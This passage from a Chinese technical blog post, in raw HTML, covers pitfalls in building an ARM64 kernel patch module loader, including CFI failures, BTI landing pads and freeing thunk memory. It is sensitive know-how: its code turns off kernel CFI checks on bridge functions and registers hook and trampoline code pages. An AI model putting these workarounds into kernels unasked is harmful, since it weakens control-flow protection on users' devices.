&#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此，单独处理某一个调用点是不够的。这类边界不能靠单点绕过，处理上需要覆盖两层。对 loader 主动调用 KPM 的入口函数，使用桥接函数并在桥接函数上关闭 CFI 检查：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2027" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">__attribute__((no_sanitize(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;cfi&#34;</span></span><span leaf="">)))</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">call_kpm_init</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">kpm_initcall_t</span></span><span leaf=""> fn,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *args,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *event,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *reserved)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> fn(args, event, reserved);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">__attribute__((no_sanitize(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;cfi&#34;</span></span><span leaf="">)))</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">call_kpm_exit</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">kpm_exitcall_t</span></span><span leaf=""> fn, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *reserved)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> fn(reserved);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="2114" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这解决的是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2046" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">loader → KPM</span></code></pre><p data-line="2120" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这一条直接调用路径。同时，对 KPM 代码区、hook 区、thunk 区、trampoline 区等额外分配的可执行代码页建立统一的区域追踪机制。</span></p><p data-line="2122" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">抽象逻辑如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2054" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">is_kpm_exec_area</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> addr)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> is_kpm_area(addr)</span><span leaf=""><br/></span><span leaf="">        || is_hook_area(addr)</span><span leaf=""><br/></span><span leaf="">        || is_thunk_area(addr)</span><span leaf=""><br/></span><span leaf="">        || is_trampoline_area(addr);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="2134" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终判断原则是：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="2066" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">所有非内核原生构建体系生成的可执行代码页，都必须被 loader 明确登记和识别。</span></p></blockquote><p data-line="2138" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样才能避免某些间接调用路径仍然落回内核 CFI 的默认失败路径。CFI 不是只在“调用入口函数”时才会触发。只要存在函数指针、回调、trampoline、thunk，就可能进入 CFI 检查路径。因此 CFI 适配必须从“单点修复”升级为“可执行区域治理”。</span></p><p data-line="2140" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 30：KPM 入口函数必须有 BTI 着陆指令</span></p><p data-line="2142" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI 边界处理后，崩溃转移到：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2074" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kpm_init</span></code></pre><p data-line="2148" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">函数入口。</span></p><p data-line="2150" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pstore</span></code><span leaf=""> 日志显示：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2082" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Target Branch Exception</span></code></pre><p data-line="2156" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 BTI 要求间接跳转目标地址的第一条指令必须是合法的 BTI landing pad。KPM Loader 通过函数指针调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2088" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">mod-&gt;init()</span></code></pre><p data-line="2162" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是一个间接调用。因此 CPU 会检查 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kpm_init</span></code><span leaf=""> 第一条指令是否为合法 BTI 指令。如果 KPM 是用普通汇编或未启用 BTI 的编译器选项生成的，那么函数入口没有：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2094" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">bti c</span></code></pre><p data-line="2168" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">就会触发 Target Branch Exception。如果 KPM 用汇编写，入口函数需要显式添加 BTI landing pad：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2100" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kpm_init:</span><span leaf=""><br/></span><span leaf="">    hint <a class="wx_topic_link" topic-id="mouy8u88-o6b6ky" style="color: #576B95 !important;" data-topic="1" data-recommend="">#34</a>        // bti c</span><span leaf=""><br/></span><span leaf="">    stp x29, x30, [sp, #-16]!</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">kpm_exit:</span><span leaf=""><br/></span><span leaf="">    hint <a class="wx_topic_link" topic-id="mouy8u88-n770wg" style="color: #576B95 !important;" data-topic="1" data-recommend="">#34</a>        // bti c</span><span leaf=""><br/></span><span leaf="">    stp x29, x30, [sp, #-16]!</span><span leaf=""><br/></span><span leaf="">    ...</span></code></pre><p data-line="2182" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果 KPM 用 C 编写，则使用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2114" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-mbranch-protection=standard</span></code></pre><p data-line="2188" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只要函数是通过函数指针、回调或 thunk 间接进入的，它就必须满足 BTI 要求。KPM 是否是“模块内部代码”并不重要。从 CPU 视角看，它只是一个间接跳转目标。</span></p><h3 data-line="2248" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">运行期资源管理</span></h3><p data-line="2192" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 31：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree()</span></code><span leaf=""> 需要原始分配地址</span></p><p data-line="2194" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">释放thunk时调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2126" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">vfree(kp_thunk_addrs[idx]);</span></code></pre><p data-line="2200" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">触发内核警告：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2132" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Trying to vfree() bad address</span></code></pre><p data-line="2206" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">thunk 分配时，实际流程类似：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2138" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">mem = vmalloc(PAGE_SIZE)</span><span leaf=""><br/></span><span leaf="">thunk = mem + 8</span><span leaf=""><br/></span><span leaf="">kp_thunk_addrs[idx] = thunk</span></code></pre><p data-line="2214" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里把 thunk 放在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: 